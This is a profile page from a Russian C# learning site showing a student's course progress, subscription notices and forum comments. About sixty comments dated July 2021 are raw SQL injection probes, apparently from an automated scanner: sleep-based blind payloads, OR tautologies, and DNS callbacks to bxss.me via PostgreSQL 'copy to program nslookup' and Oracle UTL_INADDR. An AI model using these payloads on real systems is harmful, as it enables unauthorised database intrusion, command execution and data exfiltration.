Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович
Робот Шарп возобновит работу 5 сентября в 21:00.

Дмитрий
  • Звание: Полиморфер
  • Накопленный опыт: 439 часов
  • Баланс Мегахешей: собрано 17 Mh, потрачено 0 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2020-02-28 19:19:55
  • Возраст: 33 года

Видеокурсы

Дата активности Видеокурс Прогресс
2019-03-06 soft2 Новые технологии 8 из 18 54 %
2018-10-15 wpf WPF Clocks 5 из 10 50 %
2018-08-23 wpf2 Простой WPF 9 из 12 %
2018-08-14 power Дневник успеха 8 из 211 134 %
2018-06-07 aspnet Базовый ASP.ект 18 из 24 75 %
2018-05-04 soft3 Теория ООП 36 из 39 93 %
2018-04-08 task5 Секундомер 16 из 17 100 %
2018-03-27 soft1 Нанософт 8 из 10 80 %
2018-03-18 memory Карточки памяти 2 из 14 %
2018-03-17 game1 Нано-игры 8 из 9 80 %
2018-03-11 infob Инфобизнес 2 из 20 10 %
2018-03-03 game2 Микроигры 1 из 17 7 %
2018-03-01 task4 Графические циклы все 13 100 %
2018-02-21 soft0 Демо софт 7 из 8 100 %
2018-02-14 game0 Демо игры 9 из 10 90 %
2018-02-07 task1 Семантика все 1 100 %
Итого: 151 из 433 35 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2019-02-26 solo Java - Запуск 11 из 13 85 %
2019-02-17 solo C# набор 19 из 17 112 %
2019-01-21 book 000. Строки 1 из 8 13 %
2018-12-03 solo Java - Вывод данных 3 из 7 43 %
2018-11-29 solo Java - Циклы все 2 100 %
2018-10-30 solo Java - Ввод данных 1 из 6 17 %
2018-10-22 task2 Подпрограммы 6 из 14 43 %
2018-09-04 task2 For-to-чки все 26 100 %
2018-06-20 task2 Строки все 6 100 %
2018-06-04 task2 Простые массивы все 8 100 %
2018-05-21 task2 По цифрам все 8 100 %
2018-05-15 task2 Любимые циклы все 6 100 %
2018-05-08 task2 Математика все 9 100 %
2018-04-24 task2 Последовательность все 6 100 %
2018-04-13 task2 Вечность все 5 100 %
2018-04-02 task2 Узник цикла IF все 6 100 %
2018-03-28 task2 Пока-цикл все 6 100 %
2018-03-22 task2 Точка и плоскость все 6 100 %
2018-03-06 task2 Обман цикла все 7 100 %
2018-02-20 club 24 - Муза Оля 1 из 3 34 %
2018-02-17 task2 Матрёшки 2 из 9 23 %
2018-02-14 task2 Условный оператор все 16 100 %
2018-02-07 task1 Лирика 13 из 14 93 %
2018-02-06 task1 Календарь все 16 100 %
2018-01-24 task2 Типы данных все 5 100 %
2018-01-17 task1 Цифры 11 из 12 92 %
2018-01-16 task1 Целые задачи все 11 100 %
2018-01-10 task1 Символы все 5 100 %
2018-01-10 task1 Геометрия все 8 100 %
2018-01-09 task1 Формулы все 9 100 %
2017-12-25 task2 Do-рацикл все 4 100 %
2017-12-05 task2 Логика все 13 100 %
2017-11-20 task1 Строки все 14 100 %
2017-11-13 task1 Целые числа все 7 100 %
2017-11-07 task1 Семантика все 6 100 %
Итого: 283 из 318 89 %
Сохранить страницу:


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:44

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-18368.11120.21a9c.\1.bxss.me


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:44

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-18365.11120.21a9c.\1.bxss.me'


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:44

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18363.11120.21a9c.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:44

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-18361.11120.21a9c.1.bxss'||'.me')


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:44

48v5cih4'));select pg_sleep(27.313); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

ZBTKfDuv');select pg_sleep(81.939); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

WZ0g4TkT';select pg_sleep(54.626); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

-1));select pg_sleep(27.313); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

-1);select pg_sleep(27.313); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

-1;select pg_sleep(54.626); --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

f7X1a8EK'; waitfor delay '0:0:27.313' --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

1 waitfor delay '0:0:27.313' --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:43

-1); waitfor delay '0:0:81.939' --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

-1; waitfor delay '0:0:81.939' --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

(select(0)from(select(sleep(54.626)))v)/*'+(select(0)from(select(sleep(54.626)))v)+'"+(select(0)from(select(sleep(54.626)))v)+"*/



31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

if(now()=sysdate(),sleep(54.626),0)/*'XOR(if(now()=sysdate(),sleep(54.626),0))OR'"XOR(if(now()=sysdate(),sleep(54.626),0))OR"*/


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

-1" OR 2+589-589-1=0+0+0+1 --



31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

-1' OR 2+536-536-1=0+0+0+1 or 'OR2EgQcR'='



31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

-1' OR 2+677-677-1=0+0+0+1 --


31528. --
1
1
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2021-07-31 03:42

-1 OR 2+350-350-1=0+0+0+1




31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-12487.11120.336bf.\1.bxss.me


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-12485.11120.336bf.\1.bxss.me'


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-12482.11120.336bf.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-12480.11120.336bf.1.bxss'||'.me')


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

nPRmPe18'));select pg_sleep(31.876); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

2YWMh5DP');select pg_sleep(15.938); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

LXIZF6Kg';select pg_sleep(31.876); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

-1));select pg_sleep(31.876); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

-1);select pg_sleep(47.814); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:02

-1;select pg_sleep(31.876); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

REGT1yNQ'; waitfor delay '0:0:15.938' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

1 waitfor delay '0:0:15.938' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

-1); waitfor delay '0:0:47.814' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

-1; waitfor delay '0:0:47.814' --




31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

(select(0)from(select(sleep(47.814)))v)/*'+(select(0)from(select(sleep(47.814)))v)+'"+(select(0)from(select(sleep(47.814)))v)+"*/



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

if(now()=sysdate(),sleep(31.876),0)/*'XOR(if(now()=sysdate(),sleep(31.876),0))OR'"XOR(if(now()=sysdate(),sleep(31.876),0))OR"*/


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

-1" OR 2+147-147-1=0+0+0+1 --



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

-1' OR 2+138-138-1=0+0+0+1 or 'jRFeOrKa'='



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:01

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-12466.11120.46426.\1.bxss.me


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:01

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-12465.11120.46426.\1.bxss.me'


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:01

-1' OR 2+491-491-1=0+0+0+1 --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:00

-1 OR 2+129-129-1=0+0+0+1


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Подготовка формы / 2021-07-30 19:00

-1 OR 2+270-270-1=0+0+0+1 --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-12464.11120.46426.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-12463.11120.46426.1.bxss'||'.me')


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

Wp8eeGsE'));select pg_sleep(8.922); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

e3iDwR8O');select pg_sleep(26.766000000000002); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

GeANJ5A4';select pg_sleep(26.766000000000002); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

-1));select pg_sleep(17.844); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

-1);select pg_sleep(8.922); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

-1;select pg_sleep(8.922); --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

bPW6DQRG'; waitfor delay '0:0:26.766000000000002' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

1 waitfor delay '0:0:26.766000000000002' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 19:00

1 waitfor delay '0:0:8.922' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1); waitfor delay '0:0:17.844' --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1; waitfor delay '0:0:17.844' --



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

(select(0)from(select(sleep(8.922)))v)/*'+(select(0)from(select(sleep(8.922)))v)+'"+(select(0)from(select(sleep(8.922)))v)+"*/



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

if(now()=sysdate(),sleep(8.922),0)/*'XOR(if(now()=sysdate(),sleep(8.922),0))OR'"XOR(if(now()=sysdate(),sleep(8.922),0))OR"*/



31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1' OR 2+654-654-1=0+0+0+1 or '1y1OVJIx'='


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1' OR 2+550-550-1=0+0+0+1 --


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1 OR 2+909-909-1=0+0+0+1


31528. --
1
1
ответить
→  Дмитрий  # Карточки памяти / Отображение карточек / 2021-07-30 18:59

-1 OR 2+371-371-1=0+0+0+1 --



23056. --
Андрей Сальников
Андрей Сальников
ответить
→  Дмитрий  # Демо софт / Менеджер паролей / 2019-11-14 00:42

Дмитрий, крутая работа! А можно как-то познакомиться с Вашим кодом? Вы его где-нибудь выкладывали?


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2019-03-11 23:39

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-04-19
Остаток байтов: 4022
Вы являетесь участником Клуба формулистов.


9752. --
chokayes
chokayes
ответить
→  Дмитрий  # Новые технологии / ПОЛУФИНАЛЬНЫЙ УРОК / 2019-03-07 10:06

Приветствую, Дмитрий! Прекрасный отчет! Курс действительно хороший! Кстати, с возвращением на проект. )


11589. --
Yefim
Yefim
ответить
→  Дмитрий  # Новые технологии / Обои рабочего стола / 2019-02-21 09:57

Молодец,  Дмитрий,  что  нашел  свое  решение  возникшей  проблемы!


16218. --
Дмитрий
Дмитрий
ответить

19475. --
Konstantin
Konstantin
ответить
→  Дмитрий  # Новые технологии / Модульное тестирование / 2019-02-17 18:24

Хорошо написал, прямо заразил тестирование, закончу часть намеченного пути, обязательно тоже пройду эти уроки! Здорово получилось!


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2019-02-10 00:30

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-03-20
Остаток байтов: 3789
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2019-01-10 23:19

Подписка в Клуб формулистов обновлена.
Количество дней: +38
Количество байт: +256

Подписка КФ до: 2019-02-18
Остаток байтов: 3488
Вы являетесь участником Клуба формулистов.


16218. --
Дмитрий
Дмитрий
ответить
→  Евгений Волосатов   / 2018-12-10 22:22

Евгений, добрый вечер.
На данный момент пытаюсь разбирать работу с USB по средствам С#. Тяжело дается, т.к. ранее не работал с подобным. Нашел кучу информации на просторах интернет и пытаюсь теперь собрать картину.
Хочу первостепенно научиться ( написать простейший софт ) работать с подключенными USB устройсвами к ПК. (запись и чтение). Далее хочу покопать в сторону работы  с USB по сети...


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2018-12-10 00:02

Дима, как ваши успехи?


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2018-12-10 00:01

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2019-01-11
Остаток байтов: 3197
Вы являетесь участником Клуба формулистов.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2018-11-09 22:22

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2018-12-12
Остаток байтов: 2757
Вы являетесь участником Клуба формулистов.


16218. --
Дмитрий
Дмитрий
ответить
# Консоль / Подпрограммы / НОД / 2018-10-22 22:50

Отличная задача и очень инетересная.
По началу даже не знал как к ней подойти...Казалось что то нереальное. Пробовал разные способы но получалась какая то ерунда с кучей ненужного кода...Да и работало все очень медленно....
Посмотрел видео. Оказалось, как всегда - "Всё гениальное  - просто"))). Заодно подтянул знание нахождения НОД.


17947. --
Dmitry Sinitsin
Dmitry Sinitsin
ответить
→  Дмитрий  # Базовый ASP.ект / Создание схемы проекта / 2018-10-12 10:23

Японцам гранмерси за их автомобили. Владел с большим удовольствием Toyota Sera EXY10 5E-FHE, менял не только навесное, но и до замены мотора контрактным доходил и АКПП менял сам лично в гараже - всё доступно. Хорошие у них машинки.


16218. --
Дмитрий
Дмитрий
ответить
# Консоль / Подпрограммы / Степень / 2018-10-11 09:13

Задача очень интересная.
Сначала решил ее с использованием массива. Потом обратил внимание на ограничение...(Math [] )
Пришлось переделать мое первичное решение, правда намудрил....)))). Написал много лишнего для реализации задачи. Но в итоге решение, хоть и получилось громоздкое,  отработало быстро. Посмотрел как решают другие участники проекта, можно было сделать мое решение  намного короче)))


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Дмитрий   / 2018-10-10 23:17

Подписка в Клуб формулистов обновлена.
Количество дней: +30
Количество байт: +256

Подписка КФ до: 2018-11-12
Остаток байтов: 2299
Вы являетесь участником Клуба формулистов.


16218. --
Дмитрий
Дмитрий
ответить
# Консоль / Подпрограммы / МиниМакс / 2018-09-17 08:54

Хорошая задачка.
Повторил создание  отдельных функций))) А то, что то, все последние  решения задач у меня сводились к одному использованию цикла for .)))


16218. --
Дмитрий
Дмитрий
ответить
→  Константин Мельников  # WPF Clocks / Перекидные часы. Первый час. / 2018-09-17 08:05

Это заставка,  сами часы будут по проще)))


17022. --
Константин Мельников
Константин Мельников
ответить
→  Дмитрий  # WPF Clocks / Перекидные часы. Первый час. / 2018-09-16 19:34

Вот это да! Мощные часы ))


16218. --
Дмитрий
Дмитрий
ответить
# Консоль / Матрицы / Максимумы / 2018-09-16 16:19

Не могу понять в чем все таки дело.
Получаю ошибку "ТАЙМАУТ 5 СЕК. [test0]".
Пробовал изначально foreach для заполнения многомерного массива по введенной пользователем строке, увидел что ниже писал Артем Посунько о похожей проблеме.
Переделал на цикл for. Посмотрел видео решение....Но там принцип тот же...Различий со своим не увидел. В VisualStudio отрабатывает без ошибок...
В общем не поймцу что не так.
Мое решение: (Буду рад если кто то поможет, заранее спасибо.)
string [] arr = Console.ReadLine().Split();
        int N = int.Parse(arr[0]);
        int M = int.Parse(arr[1]);
        int[,] myArr = new int[N,M];
        for (int i = 0; i < N; i++)
        {
            string[] userLine = Console.ReadLine().Split();
            int j = 0;
            for (int x = 0; x < userLine.Length; x++)
            {
                myArr[i, j] = int.Parse(userLine[x]);
                j++;
            }
        }
        for (int k = 0; k < M; k++)
        {
            int result = myArr[0,k];
            for (int l = 0; l < N; l++)
            {
                if (myArr[l, k] > result)
                    result = myArr[l, k];
            }
            if (k != M-1) Console.Write(" "); 
        }
        Console.WriteLine();


9752. --
chokayes
chokayes
ответить
→  Дмитрий  # WPF Clocks / Цифровые часы. Запуск. / 2018-09-14 05:31

Приветствую, Дмитрий! Полностью согласен с тем, что многие вещи с первого взгляда казавшиеся сложными, на самом деле устроены довольно таки просто. Кроме того, нам очень повезло попасть на этот ресурс, на котором многие сложные темы рассматриваются чисто с прагматической части. Это тоже надо уметь, сложные темы преподнести в простой манере.


10558. KF
Иван Воронин
Иван Воронин
ответить
→  Дмитрий  # WPF Clocks / Цифровые часы. Начало. / 2018-09-13 08:43

именно!


16218. --
Дмитрий
Дмитрий
ответить
→  Иван Воронин  # WPF Clocks / Цифровые часы. Начало. / 2018-09-13 08:09

Иван, спасибо.
Посмотрел ссылку про курс "Своя игра" - круто. Пока рановато мне еще записывать (для обучения других) - нужно понять многое... На  будущее себе оставлю. закладку.
Да меня тоже заинтересовал курс с часами. Вроде не сказать, что на выходе получается что то выдающееся, но при своей скромности примитивной программу не назовешь. Когда смотришь как автор автор выполняет поэтапную реализацию, все кажется простым и понятным, но стоит самому начать выполнение, понимаешь сколько работы было проделано, чтобы донести простым языком базовую информацию до тех, кому интересны данные знания))))
До перекидных еще пока не дошел, они как раз начнутся через урок в данном курсе. (после DigitalClock) Думаю это будут самые сложные по логике из 3 вариаций.


  • Звание: Полиморфер
  • Накопленный опыт: 439 часов
  • Собранный капитал: нет
  • Участник «Клуба формулистов»: до 2019-04-19

Клуб формулистов

Формулист За сегодня За неделю
Разминка Обучение Бонусы Сумма
1 -- Tom 30514 177
2 -- Tim 30187 43
3 -- Владимир 13850 32
4 -- Посетитель 0 5 5 30
5 -- Павел 32111 26
6 KF Владимир 32063 21
7 -- Иван 29612 20
8 -- MaxB 25450 15
9 -- ilya 32044 10
10 -- zizipizi 32118 6
11 -- Валерий Жданов 791 5
12 -- Mikhail 11879 5
13 -- Рустем 30722 5
14 -- Евгений Волосатов 1 2
15 -- Froggy 28517 1
16 -- Mesz0r 32105 1
17 -- Zhasulan 32108 1
18 -- Егор 32110 1
19 -- Евгений 32120 1
20 -- NoName 32121 1
21 -- memx 32123 1
22 -- Станислав 32126 1
23 -- Morkovka22 32127 1
24 -- Валера СХС 32132 1
25 -- Andrey 32136 1
26 -- Дарина 32138 1
27 -- Zinaida 32141 1
28 -- Мути 32147 1

Правила клуба формулистов

У каждого формулиста есть задача минимум на каждый день:
+ зайти на сайт, проверить один отчёт, получить 1 байт.
Задача максимум - выполнить все остальные ежедневные задачи.
Нажмите здесь чтобы перейти к ежедневному чек-листу.

В 24:00 МСК накопленные за сутки байты переносятся в недельный актив.
В воскресение 24:00 МСК все накопленные байты переходят на баланс формулиста.

Собранные байты можно обменивать на доступные видеокурсы (1 байт = 1 рубль, без скидок)
Приобретённые за байты видеокурсы доступны только во время нахождения в автобусе/клубе формулистов!

При завершении подписки в автобусе/клубе формулистов все накопленные байты обнуляются, а доступ к видеокурсам, приобретённым за байты, закрывается.
Продлевайте подписку заблаговременно.

Начинаем практику по языку C#





Если вы пришли без приглашения -
введите тысяча двадцать четыре (цифрами).
Чтобы стать хорошим программистом — нужно писать программы. На нашем сайте очень много практических упражнений.

После заполнения формы ты будешь подписан на рассылку «C# Вебинары и Видеоуроки», у тебя появится доступ к видеоурокам и консольным задачам.

Несколько раз в неделю тебе будут приходить письма — приглашения на вебинары, информация об акциях и скидках, полезная информация по C#.

Ты в любой момент сможешь отписаться от рассылки.


Научился: Создание лабиринта очень понравилось. (сын просит теперь сделать еще больше уровней))) ) По сути, как и в предыдущих, уроках почти все было в новинку. Узнал о новых методах при работе с формами Windows. (таймер, как работает возвратное сообщение при закрытии формы) Поупражнялся в прокачивании мозгов по созданию логики... В игру в третьем уровне добавил порталы перехода. При клике мышки на лейбл- курсор перемещается на лейбл такого же цвета и соответственно обратно если кликнуть на 2 лейбле
Трудности: Не учел замечание Евгения, что не нужно делать сложные уровни, это усложняет процесс отладки. Так же думал что сделаю разом, но пришлось разбить на несколько дней, т.к. суммарно потратил где то порядка 4 часов.



Научился: Создал еще дин пункт меню "О проекте" Для того чтобы понять как все работает сделал по аналогии с уже созданным: 1) Добавил в контроллер ActionResult AboutProgect()... 2) В классе Store добавил переменную aboutProject { get; private set; } и функцию public void AboutProject_() где присвоил значение переменной. 3) В конструкторе класса добавил вызов новой функции...(AboutProject_() ) 4) Добавил представление для новой функции контроллера AboutProject В нем вывожу значение переменной определяемой в классе Store как

@Model.aboutProject

В общем сделал все это чтобы ее раз пройти по шагам этапы... С радостью дальше))))